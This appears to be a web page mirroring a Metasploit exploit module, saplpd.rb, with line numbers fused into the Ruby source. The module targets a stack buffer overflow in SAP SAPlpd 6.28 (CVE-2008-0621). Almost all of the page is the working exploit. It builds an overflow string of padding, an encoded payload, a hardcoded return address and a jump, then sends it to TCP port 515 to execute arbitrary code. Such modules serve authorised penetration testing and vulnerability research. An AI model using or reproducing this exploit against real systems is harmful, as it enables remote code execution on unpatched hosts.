Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/lpd/saplpd.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'SAP SAPLPD 6.28 Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .15By sending an overly long argument, an attacker may be able to execute arbitrary16code.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-0621' ],23[ 'OSVDB', '41127' ],24[ 'BID', '27613' ],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'thread',29},30'Payload' =>31{32'Space' => 400,33'BadChars' => "\x00\x0a",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' =>39[40[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/200641],42'Privileged' => true,43'DisclosureDate' => '2008-02-04',44'DefaultTarget' => 0))4546register_options([Opt::RPORT(515)], self)47end4849def exploit50connect5152sploit = "\x02"53sploit << rand_text_alpha_upper(484 - payload.encoded.length)54sploit << payload.encoded55sploit << [target.ret].pack('V')56sploit << [0xe9, -375].pack('CV')5758print_status("Trying target #{target.name}...")5960sock.puts(sploit)6162handler63disconnect64end65end666768